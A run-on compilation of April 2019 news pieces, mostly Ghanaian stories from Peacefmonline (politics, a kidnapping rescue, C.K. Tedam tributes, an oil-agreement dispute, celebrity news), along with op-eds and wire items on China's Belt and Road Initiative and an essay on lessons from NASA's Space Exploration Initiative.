joined BRI and signed memorandums of understanding (MOUs), 18 of which are in Latin America and the Caribbean. At first, the Belt and Road Initiative aimed to reconstruct the old Silk Road that connected Asia and Europe more than 2,000 years ago. The idea was to revive the ancient land link. Later, an initiative for the 21st Century Maritime Silk Road was also added, to connect China with South Asia and Africa through the maritime route that was used through a large part of the last centuries. The legendary travels of Chinese Admiral Zheng He during the first two decades of the 15th century, connecting China with South Asia and Africa, in ships bigger than the caravels of Christopher Columbus, also inspired the idea of the 21st Century Maritime Silk Road. Besides, we have to remember that from the second half of the 16th century to the first decade of the 19th century, the Manila Galleons trade connected the Latin American colonies of Spain with China and the rest of Asia. So, an eastern Maritime Silk Road also previously existed. The reconstruction of the infrastructure to move goods and people across continents, Asia to Europe, Asia to Africa, and Asia to Latin America, is much needed. Trade and investment, which are made easier and cheaper by better connectivity, are the engines that create economic growth and the improvement of peoples standard of living possible. In this sense, President Xi Jinpings idea is a good one. Many countries in Asia, Africa and Latin America are in need of investment in infrastructure to improve their connectivity. However, many countries in these regions cannot afford to invest in the construction of that infrastructure themselves. In this sense, China offers to help by granting loans to construct the infrastructure required, and it is very much appreciated. Furthermore, companies in China have developed the technology needed to construct large-scale infrastructural projects such as seaports, airports, roads, railways, but also power lines, hydroelectric, and nuclear stations. They can complete such projects at lower costs than companies from the developed world, for example. So, when China announced the Belt and Road Initiative, the country simultaneously announced the setting up of several financial institutions required to fund the projects. The setting up of the Silk Road Fund and specifically of the Asian Infrastructure Investment Bank represented a necessary step to make the BRI a reality. The Belt and Road Initiative attracted the interest of many countries, and this was proven when in May 2017, the First Belt and Road Forum for International Cooperation was held in Beijing. Leaders of many countries attended the event, and this coming April, the Second Belt and Road Forum will welcome more countries and leaders to the capital. Regarding Latin America and the Belt and Road Initiative, as previously noted, 18 countries from Latin American and the Caribbean have signed MOUs to join. Peru has not yet signed one, but the country has a Free Trade Area Agreement with China, which has helped to increase trade with China since the agreement went into effect in 2010. Now, China is Perus biggest trade partner, and in 2018, exports of goods to China accounted for nearly 28 percent of all goods sold abroad (the USA was in second place with 17 percent). Chile and Costa Rica join Peru to make the three countries in Latin America that have an FTA with China, and also to have increased trade with China after the agreements took effect. Regarding investment and financing, countries like Peru have received a large influx of Chinese investment not only in the mining and energy sectors, which are traditional places of interest for Chinese companies, but also in sectors such as construction and maintenance of roads. During the World Economic Forum (Davos Forum) earlier this year, it was announced that Chinese company COSCO Shipping Ports would invest up to 3 billion dollars in the construction of a seaport in Chancay, a city north of Lima, Perus capital. With respect to people-to-people bonds, in recent years, the number of academic exchanges has increased, with more students from Latin America studying in China, and more Chinese students coming to the region. Also, professors from both sides of the Pacific have been traveling more often and in larger numbers, myself being one of them. Here the importance of learning one anothers language is becoming more relevant to help achieve a better mutual understanding. In summary, the Belt and Road Initiative offers an excellent way to achieve major trade, investment and improve mutual understanding for China and Latin-American. In this way, the renaissance of a sort of Manila Galleon trade, connecting the Latin-American region with China and the rest of Asia will become a reality. To avoid the kind of trade that existed during the Manila galleons trade, when silver from Latin America was exchanged for manufactured goods from China, a feature that is still prevalent in the present trade pattern of China with the Latin American region, in which Latin America send mainly minerals and agricultural products in exchange for manufactured goods from China, Latin America can learn from Chinas economic development experience. Before China introduced economic reforms 40 years ago, the country had not much trade with the world and mainly exported primary goods in exchange for manufactured goods. However, through the introduction of modern technology, the upgrading of skills of its labor force, and the modernization of its physical infrastructure, among other factors, China has become an economic powerhouse which exports to the world ever more sophisticated manufactured goods. Latin America should learn from this example. China can offer the technology, the investment needed for the modernization of its infrastructure, and Latin America can learn how to improve the skills of its labor force from Chinas experience. China and Latin American are complementary economies. The Belt and Road Initiative could help to upgrade economic relations. It is up to Latin American countries to take advantage of these opportunities, and, as the Chinese saying, a win-win relationship could materialize. The author is the director of the Center of Asian Studies at the Universidad Nacional Mayor de San Marcos, Peru. People in Nsawam and its environments have a high infection of hepatitis B This came to light after a three-day health screening exercise conducted in the area. Over 300 residents of Nsawam and its environs benefited from the free health screening exercise. The residents were screened for various sickness and diseases such as fibroid, prostate cancer, spleen cancer, diseases which affect the liver, kidney, sugar levels in the blood, high blood pressure, HIV, heart-related issues and other diseases. The three-day exercise took the team to communities such as Nsawam, Otu-kwadwo and Adoagyiri. The exercise was organized by Grikob Foundation Ghana, a Non-Governmental Organizations (NGO), which focuses on the empowering of women. The Member of Parliament for Nsawam/Adoagyiri Constituency, Mr. Frank Annoh-Dompreh assured the people who were diagnosed with chronic illness to seek further medical care. The Founder of Grikob Foundation Ghana, Ms Irene Okyere, thanked the residents for coming out in their numbers to utilize the services that her outfit offered them. She advised the people to be health conscious and take issues related to their health as their number one priority and periodically embark on check-ups to know their health status. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video As part of activities marking the 93rd birthday of Queen Elizabeth II of the United Kingdom, Mr Iain Walker, the British High Commissioner to Ghana on Wednesday held a cocktail reception in honour of the Queen in Accra. Madam Gloria Akuffo, the Attorney-General and Minister of Justice was the special guest of honour, at the event which was attended by government officials, members of the diplomatic community, politicians, representatives of civil society organisations, the clergy and heads of corporate entities. Mr Walker, who focused his remarks on tourism, said played a pivotal role in the socio-economic development of many nations of the world and was able to protect and preserve humanities most valuable cultural and environmental treasures of the world. He said tourism created jobs and that globally 111 jobs were linked to travels and tourism. He said research showed that tourism had proportionally twice as many employees as other sectors and 10 percent of the world's gross domestic product (GDP) was based on tourism; stating that globally the numbers were significant. He said international tourists arrivals went up globally last year by seven percent to 1.3 billion people travelling, generating $1.6 trillion in exporting earnings globally and the UKs tourism market was expected to reach $70 billion by 2020. The High Commissioner urged Ghana to strengthen its tourism industry for its benefit adding that in August this year, he would be embarking on a bicycle ride from Paga to Accra as part of efforts to raise funds for the Burns and Plastic Centre of the Korle Bu Teaching Hospital. President Nana Addo Dankwa Akufo-Addo, on behalf of the Government and people of Ghana conveyed the countrys warm felicitations to the Queen and also to the Government and the people of the UK and Northern Ireland on the happy occasion. The Presidents Message was conveyed by Madam Akuffo who recounted that the past year was a busy one for both countries in terms of their bilateral relations. She lauded Mr Walker for arranging in November 2018, high-profile visits to Ghana by some of Britain's most eminent dignitaries and leaders, including; the Princes of Wales and the Duchess of Cornwall, as well as the Earl of Wessex, Prince Edward. She said the visits by the Royal Family and British Government leaders and, visits to the UK by the President and the Vice President was a clear demonstration of the flourishing longstanding friendship between the two nations. She said Ghana continues to be a proud and committed member of the Commonwealth. Madam Akuffo said President Akufo-Addo has declared 2019 as "The Year of Return" for people of African descent around the world to come home to Ghana to experience and enjoy the warmth of the people and the environment while exploring opportunities to invest and build economic partnership in the country. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Thirty year old Umpakan Chodri, an Indian businessman who was kidnapped by unknown persons in Kumasi, the Ashanti region, Thursday night has been rescued. Police sources have revealed that the victim escaped from his abductors to seek refuse in a house on the premises of Akokoamon primary school where he was saved by the police. Police sources have revealed that upon getting to the school compound, the victim begged some women in the house to hide him when he realized that the abductors wielding pistols were still after him. Through the women, the victim contacted his family who also informed the police about the development, the police source narrated. The source continued that the victim was currently taking the police to the house where he was being kept. Umpakan Chodri, was abducted last Thursday night in an area called Ahodwo in Kumasi while driving a black, Mazda CX-7 with registration number AS 5442-17 by unidentified men on board an unregistered Toyota Saloon car. The hoodlums were reported to have later called one Tamil Kumar, a relation of the victim to demand a ransom of 500,000 dollars for his release. They warned Tamil not to involve the police and further sent images of a gun pointed at the victim with his hands tied to his back. A text message sent to the victims relation by the suspects warned that If you involve the police we will stop communication and leave his dead body at the roadside. You are warned. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Vice President, Dr Mahamudu Bawumia, left Accra for the United Kingdom on Wednesday to speak at a seminar organized as part of a series of lectures at Oxford University. The lectures are in honour of renowned British development economist Sir Paul Collier, who serves as the Professor of Economics and Public Policy in the Blavatnik School of Government and the director of the International Growth Centre. He returns to Accra on Saturday. Below Is A Statement From His Office Vice President Leaves for UK The Vice President of the Republic, Dr Mahamudu Bawumia, left Accra, Ghana for Oxford, UK on Wednesday April 24th, 2019 to speak at a seminar organized as part of a series of lectures at Oxford University in honour of renowned British development economist Sir Paul Collier, who serves as the Professor of Economics and Public Policy in the Blavatnik School of Government and the director of the International Growth Centre. Sir Paul is also the Director of the Centre for the Study of African Economies and a Professorial Fellow of St Antony's College, Oxford. He has also served as a senior advisor to the Blair Commission for Africa and was the Director of the Development Research Group at the World Bank between 1998 and 2003. Vice President Bawumia returns to Accra on Saturday, April 27th, 2019. Signed: Frank Agyei-Twum Source: Peacefmonline Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Audio Attachment: The bad blood between between the opposition National Democratic Congress (NDC) and the Electoral Commission (EC) seems far from over. It appears to be worsening by the day. The NDC has not hidden its concerns about the conduct of the electoral body in recent times and has openly criticised the EC over some of its decisions the party disagrees with. A few days ago, the party kicked against limiting an upcoming limited registration exercise to the district level describing it as distasteful following the ECs decision not to heed to the NDCs request for decentralisation of the process. General Secretary of the NDC, Johnson Asiedu Nketia, strongly believes the Chairperson of the Commission, Jean Mensa, harbours some prejudice against them. "Somehow, I believe that because we expressed our opinion about her suitability or otherwise for the position when the appointment was made. She appears to be carrying that prejudice and she thinks that is a sufficient reason for denying us our rights. So we think that, the problem is about her attitude and not about the NDC, he told the media. After a recent IPAC meeting held on Wednesday, 24th April 2019, the opposition party condemned the posture of Madam Jean Mensa. According to the NDC, Jean Mensa disrespected their General Secretary when she warned him against laughing at her comments. They further described her as a threat to the countrys democracy. Reacting to this in an interview on Citi Eyewitness News, Deputy EC Chair, Dr. Eric Bossman Asare said various comments and posture of the NDC points to the fact that they (NDC) are rather the threat. I think if theres anyone who is becoming a threat to the democracy we are practicing in our country then I would rather say it has been the posture of the NDC since this new commission took overweve seen a particular pattern on the side of the NDC. This is a commission which aims at enhancing our democracy, he indicated. Recounting what transpired at the meeting, he said: "in the process of the chairperson making her statement, Mr. Asiedu Nketia was giggling and the chairperson told him you are becoming a distraction; your actions are disrupting the meeting; that was one of the several things that occurred adding, "we are surprised they claim the chairperson was screaming he added. Source: Rebecca Addo Tetteh/Peacefmonline.com/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video VICE PRESIDENT Dr. Mahamudu Bawumia has paid glowing tribute to the late Chairman of the Council of Elders of the New Patriotic Party (NPP), C.K. Tedam. Mr. Tedam passed on Friday morning in Accra at the age of 94. He had been unwell for sometime now and was taking treatment at Nyaho Medical centre in Accra. C. K. Tedam first won election to parliament as an independent candidate in 1954. Mr. Tedam was a founding member of the Northern Peoples Party. He stood and won another election to parliament in 1956 on the ticket of the Northern Peoples Party, NPP. Dr. Bawumia in a statement, says I have received with sadness the death of our father and venerable statesman Mr. Clement Kubindiwor Tedam affectionately called C.K Tedam. He stated that He epitomised honesty, loyalty, humility, wisdom and was a source of inspiration to me and anyone who was privileged to know him. According to him, Mr. Tedam served Ghana and the New Patriotic Party with dedication, dignity, and zeal. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video I am deeply saddened by the death of Clement Kubindiwu Tedam, a great Ghanaian patriot, and a stalwart and legend of the New Patriotic Party, which occurred in the early hours of today, Friday, 26th April, 2019. A member of the Paga Royal Family, C.K. Tedam was the last surviving member of the Northern Peoples Party, the first NPP. He became an important activist of the United Party, the Progress Party, the Popular Front Party and the New Patriotic Party, and played an integral and vibrant part in the development of the Danquah-Dombo-Busia political tradition. Age did not diminish his commitment to the cause of the NPP, and, despite his advanced age, he was very active in the affairs of the party until the very end, and a major influence on its growth. He served graciously on several committees of the party, and, as Chair of the Council of Elders, he played an invaluable and unforgettable role in preserving the stability and unity of the party, when it became embroiled in a series of unnecessary disputes that sought, deliberately, to undermine its coherence. C.K. Tedam was a rock in that painful era of distress, and this and succeeding generations of adherents of the Danquah-Dombo-Busia political tradition will always honour and treasure his memory. Member of Parliament, Minister for Local Government, Member of the Council of State, he served his nation well, and worked with others, against great odds, to help entrench the values of respect for the rule of law, individual liberties and human rights, and the principles of democratic accountability in the body politic of our nation, helping, after a long struggle, to make the mantra of Development in Freedom the dominant principle in Ghanaian politics. He belonged to the group of Ghanaians, who never wavered in their belief that a vigorous, market economy would best serve the needs of growth and development of our nation. C.K. Tedam leaves a big void not only in the NPP family and in the Ghanaian nation, but also in my personal life, as he was a constant and consistent source of good, invaluable counsel. I will miss him dearly. I extend my deepest condolences to the Paga Pio, Charles Awia Awamampaga, to his family and to the New Patriotic Party, and to all the people of Ghana, who have suffered a great loss in the departure of their faithful servant. May his soul rest and abide in the bosom of the Almighty until the last day of the Resurrection when we shall all meet again. signed Nana Addo Dankwa Akufo-Addo President of the Republic Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Government says Policy Think Tank IMANI goofed when it sought to question portions of the contractual agreement between the government of Ghana and Aker Energy. IMANI at a recent public advocacy program challenged what it says were various acts of omissions on the part of the Government of Ghana in respect of the plan of development submitted by Aker Energy and on behalf of all the contracting parties in the Petroleum Agreement (PA) covering the Deep Water Tano/Cape Three Points (DWT/CTP) contract area. But the Energy Minister John Peter Amewu at a news briefing in Accra described the claims by IMANI as total falsehood. In providing some background information on the agreement, Mr. Amewu said the PA covering the DWT/CTP contract area operated by Aker Energy was executed on 8thFebruary, 2006 between the Government of Ghana -GNPC, AMERADA HESS Corporation, Lukoil and FUELTRADE subsequently farmed in 2015. He disclosed that Fueltrades participating interest was set at 2% for which it paid about 9 million USD with a performance guarantee of 2 million USD. The contract area has 7 discoveries namely pecan north, almond, cob, beech, pecan, paradise and hickory north. The first five are oil discoveries while paradise and hickory north are gas discoveries. Aker Energy acquired the interest of AMERADA HESS Ghana Limited in February 2018 and proceeded to continue the unfinished works under the programme of appraisal to HESS he added. IS GHANA LOSING $30 BILLION? The Energy Minister criticised IMANI for misinforming Ghanaians on a potential loss of $30 billion to the country if the government failed to negotiate a new petroleum agreement. IMANI tried to alarm Ghanaians about a potential loss of $30 billion to the country if the government failed to negotiate a new petroleum agreement with new terms with the DWT/CTP partners. This is absolutely false he said. Mr. Amewu revealed that Aker Energy, on behalf of its partners announced after a successful appraisal of the Pecan Field discovery, a significant oil find as captured below Based on existing subsurface data from seismic, wells drilled and an analysis of the Pecan -4A well result, the existing discoveries are estimated to contain gross contingent resources (2C) of 450 550 million barrels of oil equivalent. How did IMANI arrive at valuation of the field at $30 billion? In questioning the valuation of the field at $30 billion, the Energy Minister said IMANI simply multiplied the assumed price of $65 per barrel by 450 million barrels. This exposes the weaknesses in IMANIs analyses as well as its poor understanding of petroleum economics. The 450 million barrels of oil equivalent are gross contingent resources, which are the potential resource available all of which cannot be recovered under current technology. IMANI wants us to believe that all the 450million barrels of oil equivalent will be produced but fails to explain how that can be Amewu said. He added that In Ghana, our average crude oil recovery rate is 25%. At this rate, the field value will be estimated at $7.3 billion assuming a price of $65 per barrel. We are working with Aker Energy to enhance oil recovery mechanism to achieve a recovery rate of 40%, which will be the highest in Ghanas oil and gas history and which occurrence will appreciate the value to $11.7 billion. This will be a significant gain for both Ghana and the partners. He announced that there was no basis for a new petroleum agreement as claimed by IMANI because the work that was done by Aker Energy formed part of an appraisal programme based on the existing petroleum agreement. It must be stated that as a country we operate within the laws governing petroleum agreements, therefore any petroleum find when produced will be shared according to the terms of the applicable petroleum agreement said Amewu. The Minister in his concluding presentation denied allegations by IMANI that Fuel Trade is owned by the Chief Executive of the Ghana National Petroleum Authority Dr. K.K. Sarpong and his family. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The opposition National Democratic Congress (NDC) will collapse by the end of the first term of the President Akufo-Addo led administration, Mr Daniel Nii Kwartei Titus-Glover, the Member of Parliament for Tema East has said. According to him, President Akufo-Addo had so many developments up his sleeves to unleash and by the time his first term was over, the eight years of the NDC would be totally eclipsed. The Tema East Member of Parliament in a statement copied to the Ghana News Agency in Accra said Ghanaians would return them to power based on their performance in the first term in office. The NDCs trump card has always been infrastructural development, they are very quick to point to hospitals, schools and roads, among other things, that they have built whenever the debate is onthis is how they escape the question of critical thinking, which produces more sophisticated social programmes like the Free SHS, or NHIS. According to him, signs of the impending doom for the NDC were already on the wall, citing the massive infrastructural deal that the Akufo-Addo Administration had signed with Chinese company, Sinohydro. Under the deal, Sinohydro Group Limited will provide $2 billion worth of infrastructure of government's choice in exchange for Ghana's refined bauxite. Ghana will establish a refinery within the next three years and select its own partner to undertake the refining of the bauxite. Mr. Titus-Glover also pointed out that the Government was in the process of awarding contracts for interchanges in some parts of the Northern sector, a number of primary schools, at least one University and a host of road networks. When all of these are completed, the NDC would be finishedwhat else can they boast of apart from the infrastructural development they make reference to all the time?. According to him, the planned massive infrastructural development by President Akufo-Addo would expose the NDC greatly as many would come and see that in the area of social programmes, they had no achievements at all. This will be the end of the NDC, they will stay in opposition for decades, Mr. Titus-Glover added. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Police in the Ashanti region has arrested 'Akon', a member of the National Democratic Congress' (NDC) militia group, The Hawks, in connection with the shooting and murder of one person at the regional office of the NDC on Monday, 18 February 2019. Regional Police Public Relations Officer, ASP Godwin Ahianyo told the media at a press briefing on Friday, 26 April 2019 that Akon was apprehended by some community members at Abrem and sent to the Kenyasi police station. ASP Ahianyo said the suspect was later transferred to the regional police headquarters. "When he came, he was injured, so the commander adviced that he should be taken to the Komfo Anokye Teaching Hospital for medical treatment and as we speak, he is there receiving medical treatment", he said. ASP Ahianyo added that after the suspect is discharged, he will be brought back to the regional Criminal Investigation Department (CID) office for the continuation of the investigation of the shooting incident that led to the death of Abdul Wasui Iddrisu. Source: classfmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Wang Huning (L), a member of the Standing Committee of the Political Bureau of the Communist Party of China (CPC) Central Committee and a member of the Secretariat of the CPC Central Committee, meets with Vietnamese Prime Minister Nguyen Xuan Phuc, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Xie Huanchi) BEIJING, April 25 (Xinhua) -- Senior Communist Party of China (CPC) official Wang Huning on Thursday met with Vietnamese Prime Minister Nguyen Xuan Phuc, who is here to attend the Second Belt and Road Forum for International Cooperation. Wang, a Standing Committee member of the Political Bureau of the CPC Central Committee and a member of the Secretariat of the CPC Central Committee, noted the year of 2020 marks the 70th anniversary of diplomatic ties between the two countries. The two sides should concentrate on the major task of implementing the consensus reached by their top leaders, and bring about more fruitful results in China-Vietnam comprehensive strategic cooperation, Wang said. The Vietnamese side is ready to work with China to advance the implementation of the Belt and Road Initiative, deepen exchanges and cooperation in various fields, and open up a new vista of bilateral relations, said the Vietnamese prime minister. The General Secretary of the Convention Peoples Party (CPP), James Kwabena Bonfeh, aka Kabila has warned political parties to desist from discussing issues of Inter-Party Advisory Committee (IPAC) meetings in public. According to him, it is wrong to discuss what transpired at IPAC. Speaking on Okay FMs Ade Akye Abia Programme with host Kwame Nkrumah Tikese, he explained that EC is not an autonomous institution that can do anything that will undermine the activities of the various political parties especially at IPAC levels. Let us gear towards finding lasting solution to our problem than to prove arrogant about our knowledge of the problem. It doesnt help anybody. "EC is not above the law and if it makes mistakes the law will always take it cause so why the worry," he quizzed We are governed by laws in this country so if anyone thinks somebody is doing something wrong, all the person needs to do is to apply the law because sometimes the noise we create over petty issues are unnecessary as political parties, because taking the EC to court is nothing new in this country. So some of the issues are not necessary to debate in public. If you ask, me I will say, we made progress in that meeting even though there were some issues raised which needed to be resolved. I want to believe that we made progress. It is not everything that should be brought outside. We all have one Ghana and if we are finding solution for our country, it should not be in a public debate form. Listen to the full interview of Kabila and Kwame Nkrumah Tikese below- VIDEO- Source: Josephine Acheampomaa/Peacefmonline/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ghanaian actor and Tourism Ambassador Bill Asamoah has advised colleagues to stay away from cheap hype and focus on their craft since it makes no sense to their careers. Bill Asamoah in a recent interview with Showbiz revealed his relevance in the industry has been due to hard work and not cheap publicity. I love what I do and I do it for the passion, hence the reason I have been around for this long. Most of these young ones just want fame for their personal reasons but after the fame what else? I dont need cheap publicity for anything, he said. According to Bill Asamoah, the unnecessary hype young actors were also pushing was a major reason why their careers didnt seem to last. When I started acting, I did it with all the passion without even thinking about the money. With hard work, the money came automatically but that is not what we see now. Most of these young ones are doing anything for fame and when that happens, they fall off so quick, he said. Another thing Bill Asamoah said had helped him stay relevant for such a long time was that he was principled and disciplined. I am disciplined when it comes to my job and every producer I have worked with can attest to that. I make sure I deliver what I am told to do and I execute it well. I always try my best to do what I know best and do it so well that producers dont complain about it, he stated. Source: Nydjlive.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ghanaian dancehall and reggae artiste Stonebwoy was, on Thursday, April 25, 2019, unveiled as the new brand ambassador for Samsung Ghana in a 360 deal at the Galaxy Studio in Accra Mall. The new ambassadorial deal will last for 12 months and expected to raise more awareness about all Samsung products in Ghana and the West African sub-region. Speaking about why Samsung choose Stonebwoy, the Head of Marketing for Samsung Ghana, Tetteh Akornor said their choice was based on the fact that Stonebwoys brand truly reflects what Samsung promises. Stonebwoy after receiving the honour said he was elated by the appointment and promised to make his brand have a fruitful impact on Samsung. It is only good that an A brand such as Samsung finds its way to us to collaborate and furthermore get going. Its all about the progress, its all about mutual benefit. To be honest, when they knocked at my door I saw it as a great opportunity for both of us to keep progressing. I wouldnt be the first to work to Samsung but I hope my stay will be the most profitable one so far, he said. As we walk into the 12 month journey we pray that we are all going to grow and achieve more than we even plan to achieve. I am elated to be the new Samsung brand ambassador, he added. The new deal makes Stonebwoy the brand ambassador for all products of Samsung for the next 12 months. Stonebwoy after the unveiling, performed to the audience at the food court of the Accra Mall. A few days ago, he released a song titled Shuga which features Jamaican superstar, Beenie Man. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video BEIJING, April 25 (Xinhua) -- Chinese Vice President Wang Qishan on Thursday met with Indonesian Vice President Jusuf Kalla, who is here to attend the Second Belt and Road Forum for International Cooperation. Wang said the Belt and Road Initiative (BRI) upholds the principle of extensive consultation, joint contribution, and shared benefits, and reflects the concept of a community with a shared future for mankind, offering huge opportunities for cooperation between China and Indonesia. Kalla said Indonesia looks forward to learning from China's reform and opening-up experience and deepening cooperation with China under the BRI framework. Dr. Hogan states that the failure of SEI was not inevitable. Mistakes were made, as the saying goes, by both NASA and the White House leadership. We face the same situation now. Returning astronauts to the Moon by 2024 is possible, but there are many more paths leading to failure than success. Looking back at SEI can help us avoid some pitfalls, and perhaps increase the odds of finding the right way forward. Lesson 1: Minimize sticker shock Let's be honest: anything sounds expensive when added up over thirty years. The National Parks Service, a wonderful organization that manages national parks and other monuments, is not a large part of the budget each year. Yet over the next three decades, it will spend roughly $100 billion. That's just for parks! Space exploration costs more. That doesn't mean it's expensive, but lacking context it can certainly sound expensive. The United States regularly spends much more on many other programs. The Department of Defense, for example, will spend at least $21 trillion (yes, trillion) over the same timeframe, and has grown by tens of billions of dollars over the past few years with little public debate or notice. Space is cheap, by comparison. But that message isn't enough. NASA's infamous "90-Day Study," which outlined its exploration ambitions for SEI in a 30-year time frame, estimated the program would cost between $400 and $500 billion (or close to a trillion of today's dollars). Even though these initial studies were never formally proposed by the White House, SEI was forever laden with a politically laughable half-trillion-dollar price tag. We don't know what augmentation the Administration will ask for next week, but the lesson from SEI is that the initial estimate will likely be the number repeated ad-infinitum by the press and thus calcified into common wisdom. As such, NASA and the White House must be judicious in presenting its initial estimate, reflecting accurately the resources necessary to achieve the goal, but limiting the time horizon to the far more reasonable (and standard) 5-year budgetary window. Projecting spending over five years is hard enough for programs that have never been attempted before, much less over thirty. Limiting projections to a 5-year window will present a more accurate estimate, both in terms of actual spending and for public debate. A particular challenge to keep in mind is that this supplemental request for NASA will be released in the context of proposed cuts to many popular programs, including many science programs. While these cuts are unlikely to happen (thank you, Congress), the fact remains that the space programparticularly human spaceflightwill be seen as benefiting from cuts to other science efforts. There is no way to address this besides being honest about the fact that NASA's budget does not depend on cuts to other programs, and that Congress can (and should) fund science initiatives across the government. NASA today has an additional advantage compared to the NASA of 1989: "nobody cares" about deficits right now. As George H.W. Bush assumed the presidency, there was a political consensus that deficit reduction was a top priority. The Cold War was winding down and there was an expectation of a "peace dividend" from the drawing down of defense spending. The political moment, in other words, was all wrong for proposing a major human spaceflight endeavor. Our current political dynamics are different. There is no consensus on deficits. Despite the domestic spending cuts regularly proposed by the White House, Congress, even under Republican control, has increased government spending for the past five years. It is likely Congress will raise spending caps again. This is good, as an increase in spending caps would provide both the budgetary and political space necessary to augment NASA's budget. In other words, the best way for the Trump Administration to sustain political support for its lunar ambitions is to support (or merely accept) increases in domestic spending. The economy is also better today than it was 30 years ago. As President Bush announced SEI, the gross domestic product (GDP) was falling and the economy was sliding into a recession. Today GDP growth is stable, perhaps increasing slightly, and unemployment is very low. As in the early 1960s, the public's positive attitude about the economy helps enable the political justification for high profile engineering and exploration investments, as voters are not worried about overall spending as a proxy for the country's economic conditions. The combined effects of a willingness to spend money on domestic programs and the psychological benefits of a strong economy will help limit any political backlash against increasing NASA's budget. However, great care is still called for when making and presenting the cost estimates for a lunar return. SEI reminds us that there are limits to what people will accept, no matter how good the economy is. Lesson 2: Integrate institutional priorities When Mark Albrecht, the executive secretary of the National Space Council in 1989, approached NASA administrator Richard Truly to ask if NASA was interested in returning to the Moon and Mars, the administrator initially demurred. He worried that NASA couldn't handle the additional burden of deep space exploration while NASA was struggling through constant revisions to Space Station Freedom and working to return the Space Shuttle fleet to full strength. Though the administrator embraced the idea the following day, his initial reaction betrayed that the institutional focus of NASA was (and would remain) shuttle and station, not the Space Exploration Initiative. NASA's 90-Day Study reflected this. It re-stated the program of record (the Shuttle and a space station programs) and layered Moon and Mars programs on top of them. This simultaneously increased the cost of SEI and enabled Congress to lop out SEI parts from the budget while preserving existing programs, which it promptly did. Hungary to promote Chinese relations in Europe Portfolio Save article Share Hungarian Hungary is ready to promote the development of Europe-China relations as a whole through the platform of cooperation between China and Central and Eastern European countries, Hungarian Prime Minister Viktor Orban said at a meeting with Chinese President Xi Jinping in Beijing, China Daily reported on Friday. Orban, who visited China to hold bilateral talks and to attend the second international forum of the Belt and Road Initiative, pledged support for the initiative, which he said he sees as "an opportunity rather than a threat". Orban said the Hungarian government and people cherish the extraordinary friendship with China, adding that Hungary is optimistic about China's high-tech development and welcomes investment from China. China and Hungary should carry out cooperation within the Belt and Road framework, including the Hungary-Serbia railway, and strive for more concrete outcomes, Xi said in the meeting according to the report. Xi noted that this year marks the 70th anniversary of the establishment of diplomatic relations between the two countries and China looks forward to working with Hungary to bring the bilateral comprehensive strategic partnership to a new level. It is important for both countries to bolster pragmatic cooperation to achieve win-win outcomes and expand people-to-people exchanges, Xi added. If you were looking for the Charlestown Democratic Town Committee website and ended up here, try this Got news tips, gossip, suggestions, complaints?E-mail us: progressivecharlestown@gmail.com We strive to avoid errors in our articles. Our correction policy can be found here Photo courtesy to monash.edu Monash University, one of Australias leading universities, is seeking further cooperation with Chinese partners as China and Australia relations goes through a relatively less intimate period. Monash has signed a $100 million deal with Shenzhen, Chinas first-tier city in Guangdong Province, to establish a research institute, aiming to accelerate the transformation speed of science and technology. The deal will allow Chinese investors and the local government to boost commercialization of scientific discoveries, Financial Times reported. The deal came amid what experts say is a low period for China-Australia cooperation. However, the announcement of the establishment of the National Foundation for Australia-China Relations on March 29 was widely considered a new start for two countries win-win development, and is seen as another sign that the two sides should strengthen bilateral ties. The deal is expected to expand mutual cooperation on healthcare, elderly care, the environment, and energy. Last February, Australia tightened foreign investment rules on energy infrastructure and agricultural land over concerns about growing Chinese influence in its investment market. According to an analytical report released by Sydney University and KPMG, Australia is the second largest destination for Chinese investment, which reached $90 billion. In August 2018, the country banned Huaweis 5G networks from entering the Australian market 